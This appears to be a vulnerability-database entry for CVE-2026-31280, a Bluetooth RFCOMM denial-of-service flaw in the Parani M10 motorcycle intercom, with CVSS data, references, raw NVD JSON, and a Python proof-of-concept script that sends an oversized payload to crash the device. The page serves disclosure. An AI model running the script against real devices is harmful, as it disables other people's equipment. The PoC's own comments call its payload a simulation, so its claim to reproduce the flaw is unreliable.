CVE-2026-31280

Description

An issue in the Bluetooth RFCOMM service of Parani M10 Motorcycle Intercom v2.1.3 allows unauthorized attackers to cause a Denial of Service (DoS) via supplying crafted RFCOMM frames.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Parani M10 Motorcycle Intercom v2.1.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import bluetooth
import sys

# Target device details
TARGET_MAC = "00:11:22:33:44:55"  # Replace with target MAC address
RFCOMM_PORT = 1  # Common default port, may need scanning

def trigger_dos():
    try:
        # Create a Bluetooth socket using RFCOMM protocol
        sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        
        print(f"[*] Attempting to connect to {TARGET_MAC}...")
        sock.connect((TARGET_MAC, RFCOMM_PORT))
        print("[+] Connection established.")

        # Crafted malicious payload
        # Sending a malformed frame structure to trigger the parsing crash
        # This payload simulates an oversized or invalid RFCOMM frame
        malicious_frame = b"\x00\x00\xFF\xFF" + b"\x41" * 2000

        print("[*] Sending malicious RFCOMM frame...")
        sock.send(malicious_frame)
        print("[+] Payload sent. Check if device has crashed.")

        sock.close()
    except bluetooth.BluetoothError as e:
        print(f"[-] Bluetooth Error: {e}")
    except Exception as e:
        print(f"[-] Unexpected Error: {e}")

if __name__ == "__main__":
    trigger_dos()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31280
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31280
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31280/
[4] VulDB https://vuldb.com/cve/CVE-2026-31280
[5] https://amoebatech.gitbook.io/amoebatech-docs/cve-2026-31280-insecure-bluetooth-rfcomm-leading-to-device-crash-in-parani-m10-intercom
[6] https://nvd.nist.gov/vuln/detail/cve-2023-4586
[7] https://nvd.nist.gov/vuln/detail/cve-2025-20701

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31280", "sourceIdentifier": "[email protected]", "published": "2026-04-13T21:16:24.143", "lastModified": "2026-05-10T21:16:28.683", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the Bluetooth RFCOMM service of Parani M10 Motorcycle Intercom v2.1.3 allows unauthorized attackers to cause a Denial of Service (DoS) via supplying crafted RFCOMM frames."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://amoebatech.gitbook.io/amoebatech-docs/cve-2026-31280-insecure-bluetooth-rfcomm-leading-to-device-crash-in-parani-m10-intercom", "source": "[email protected]"}, {"url": "https://nvd.nist.gov/vuln/detail/cve-2023-4586", "source": "[email protected]"}, {"url": "https://nvd.nist.gov/vuln/detail/cve-2025-20701", "source": "[email protected]"}]}}